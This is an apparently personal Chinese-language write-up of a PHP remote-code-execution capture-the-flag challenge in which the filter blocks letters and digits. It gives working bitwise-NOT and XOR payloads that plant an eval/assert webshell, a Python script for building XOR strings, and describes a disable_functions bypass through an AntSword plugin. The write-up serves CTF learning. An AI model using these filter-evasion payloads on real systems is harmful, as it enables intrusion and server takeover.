绕过正则表达式过滤所有数字和字母的RCE
思路就是取反绕过和异或绕过。
来自
[极客大挑战 2019]RCE ME
打开即源码:
<?php error_reporting(0); if(isset($_GET['code'])){ $code=$_GET['code']; if(strlen($code)>40){ die("This is too Long."); } if(preg_match("/[A-Za-z0-9]+/",$code)){ die("NO."); } @eval($code); } else{ highlight_file(__FILE__); } // ?>
一看正则表达式把字母和数字全过滤了,怎么办捏?
来看RCE过滤好文章:关于PHP正则的一些绕过方法
这种情况我们可以传一个shell木马上去,然后hackbar直接梭或者连蚁剑。
取反绕过
首先可以尝试取反绕过。
url编码取反绕过 :就是我们将php代码url编码后取反,我们传入参数后服务端进行url解码,这时由于取反后,会url解码成不可打印字符,这样我们就会绕过。
即,对查询语句取反,然后编码。在编码前加上~进行取反,括号没有被过滤,不用取反。
构造payload:
直接:(一定注意最后的分号不要忘打了!!!!还有取反这部分要单独打括号包起来)
?code=(~%8F%97%8F%96%91%99%90)(); //?code=phpinfo();
成功执行。那么这个思路就正确了。
然后好习惯查看禁用函数:
flag也没搜到:
继续构造木马:
payload:
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6);//这里还有最后一个分号我没构造记得手动加上
//assert(eval($_POST[cmd]));
补一句,这里还可以用参数逃逸:
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])
测试成功:
接下来就好做了:
这里尝试了hackbar直接读,但是什么也没读到,那就上蚁剑:
果然这个flag是空的。
根目录下发现个readflag:
牛魔玩意,吓我一跳。
直接终端读也是个无效shell。
这里又学了一个新方法,用蚁剑中的绕过disable_functions插件运行这个/readflag:
开始这个插件没下载出来,挂了个梯子下的源码.....
主页面点右键点开这个插件,然后选这个php7的UAF,对应这个网站。
其实还有个方法不用这个插件,传这俩文件上去:
详见https://blog.csdn.net/qq_45521281/article/details/105656737
和https://blog.csdn.net/m0_62879498/article/details/124803318
异或绕过
原理:
字符:? ASCII码:63 二进制: 0011 1111 字符:~ ASCII码:126 二进制: 0111 1110 异或规则: 1 XOR 0 = 1 0 XOR 1 = 1 0 XOR 0 = 0 1 XOR 1 = 0 上述两个字符异或得到 二进制: 0100 0001 该二进制的十进制也就是:65 对应的ASCII码是:A
异或表:
放一个异或脚本:
valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ " answer = str(input("请输入进行异或构造的字符串:")) tmp1, tmp2 = '', '' for c in answer: for i in valid: for j in valid: if (ord(i) ^ ord(j) == ord(c)): tmp1 += i tmp2 += j break else: continue break print("tmp1为:",tmp1) print("tmp2为:",tmp2)
var_dump('#'^'|'); //得到字符 _ var_dump('.'^'~'); //得到字符 P var_dump('/'^'`'); //得到字符 0 var_dump('|'^'/'); //得到字符 S var_dump('{'^'/'); //得到字符 T $__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); //变量$__值为字符串'_POST'
<?php $_ = "!((%)("^"@[[@[\\"; //构造出assert $__ = "!+/(("^"~{`{|"; //构造出_POST $___ = $$__; //$___ = $_POST $_($___[_]); //assert($_POST[_]);
具体我就不复现了,有点绕???
个人更喜欢取反,更直接简洁。
其实还有自增之类的方法,详见:无数字字母rce总结(取反、异或、自增、临时文件)_MUNG东隅的博客-CSDN博客